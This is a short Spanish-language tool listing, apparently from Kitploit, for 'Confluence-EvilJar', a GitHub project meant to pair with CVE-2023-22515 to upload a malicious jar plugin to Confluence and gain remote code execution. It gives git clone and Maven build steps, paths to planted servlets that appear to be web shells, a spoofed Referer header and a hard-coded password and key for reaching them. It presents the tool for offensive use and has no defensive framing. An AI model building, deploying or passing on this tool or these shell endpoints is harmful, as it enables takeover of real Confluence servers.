Confluence-EvilJar — En conjunto con CVE-2023-22515, subir un archivo jar en el backend para lograr RCE. | Kitploit

aaaademo/Confluence-EvilJar

Utilizar con CVE-2023-22515 para cargar el paquete jar en segundo plano y lograr RCE

git clone https://github.com/aaaademo/Confluence-EvilJar
cd Confluence-EvilJar
mvn package

http://confluence.local/plugins/servlet/testbin/cmServlet

http://confluence.local/plugins/servlet/testbin/gzServlet

Referer: https://www.baidu.com/

p@ssw0rd / key

Confluence-EvilJar